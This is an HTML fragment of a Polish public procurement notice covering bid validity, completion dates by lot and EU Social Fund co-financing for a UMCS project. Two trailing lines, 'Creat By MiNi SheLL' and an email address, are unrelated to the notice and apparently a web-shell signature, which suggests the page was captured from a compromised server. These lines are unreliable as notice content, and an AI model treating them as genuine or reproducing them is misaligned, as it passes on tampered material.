<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Termin wykonania zamówienia.
Części: 4, 10, 11, 12, 13, 15, 20, 21  od dnia zawarcia umowy do 31.03.2015 r. Części: 1, 2, 3, 5, 6, 7, 8, 9, 14, 16, 17, 18, 19, 22, 23, 24, 25, 26, 27  od dnia zawarcia umowy do 30.09.2015 r.
Postępowanie prowadzone jest w ramach realizacji projektu: UMCS dla rynku pracy i gospodarki opartej
na wiedzy, nr POKL.04.01.01-00-362/10 współfinansowanego przez Unię Europejską ze środków Europejskiego
Funduszu Społecznego, Program Operacyjny Kapitał Ludzki.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com